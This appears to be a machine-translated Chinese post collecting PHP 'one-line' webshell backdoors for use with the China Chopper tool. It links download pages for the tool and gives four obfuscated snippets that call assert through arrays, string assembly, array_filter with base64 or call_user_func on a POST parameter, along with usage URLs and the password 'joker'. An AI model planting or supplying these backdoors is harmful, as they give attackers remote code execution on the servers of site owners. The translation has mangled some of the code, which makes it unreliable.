8. PHP Callback Backdoor

Chinese kitchen knife Download, based on the original Chinese Kitchen knife optimization version 20160309.

:

Http://pan.baidu.com/s/1jHoJxHW

China chopper

Http://pan.baidu.com/s/1eRxEYjC

Here is a collection and collation of a variety of words, with the use of methods:

1.php

<? PHP      $POST [' POST ']= ' assert ';     $array []=$POST;     $array [0] [' POST '] ($_post[' Joker ']);? >

usage: http://www.xxx.com/1.php

Kitchen Knife Connection usage: http://www.xxx.com/1.php

password: joker

in detail:   Assert, is the PHP code execution function, and eval () has the same function, should be $array[],post[] are arrays, so $array []= $POST, is to assign the value of the $post array to the $array array, so the output of $array[0][' POST ' is assert, so a trojan is formed

Assert ($_post[' joker '), directly with the chopper link

————————————————————————————————————————————————————————

2.php

 <? php  error_reporting  (0  $g  = array  (', ' s ')   $gg  = A. $g  [1].ser. CHR  ('   $gg  ($_post  [joker]); ? 

Usage: http://www.xxx.com/2.php

Kitchen Knife Connection usage: http://www.xxx.com/2.php

password: joker

detailed: $ g is the array, $g [1]= ' s ', Chr (' count ') = ' t ', (19833217 ASCLL Code Correspondence table), such $gg=

assert,@ $gg ($_post[joker]) is not the Assert ($_post[joker]), is our common word Trojan Horse, direct chopper link can be

————————————————————————————————————————————————————————

3.php (array_filter +base64_decode)

 <? php  error_reporting     (0  $e  =$_request  [' E '  array_filter  ( $arr , base64_decode  ( $e  ? 

usage: http://www.xxx.com/3.php?e=YXNzZXJ0

Browser submission post:joker=phpinfo ();

Kitchen Knife Connection usage: http://www.xxx.com/3.php?e=YXNzZXJ0

Password: Joker

explanation: yxnzzxj0 base64 decoded result is assert, $e accept the arguments passed by the browser, $arr is the array, the Array_filter () function filters the values in the arrays with the callback function,

, if we pass the $e parameter to YXNzZXJ0, then our callback function name is assert, and we want to filter every parameter in the array

Constitutes the assert ($_post[' Joker '), a common word trojan, directly with a kitchen knife link can be

——————————————————————————————————————————————————————————

4.php

<? PHP error_reporting (0); Call_user_func $_request [' Joker ']);? >

Usage: http://www.xxx.com/4.php

Kitchen Knife Connection usage: http://www.xxx.com/4.php

password: joker

explanation: call_user_func () function

This will directly constitute the assert ($_request[' joker ') such a sentence Trojan, directly with a kitchen knife link can

8. PHP Callback Backdoor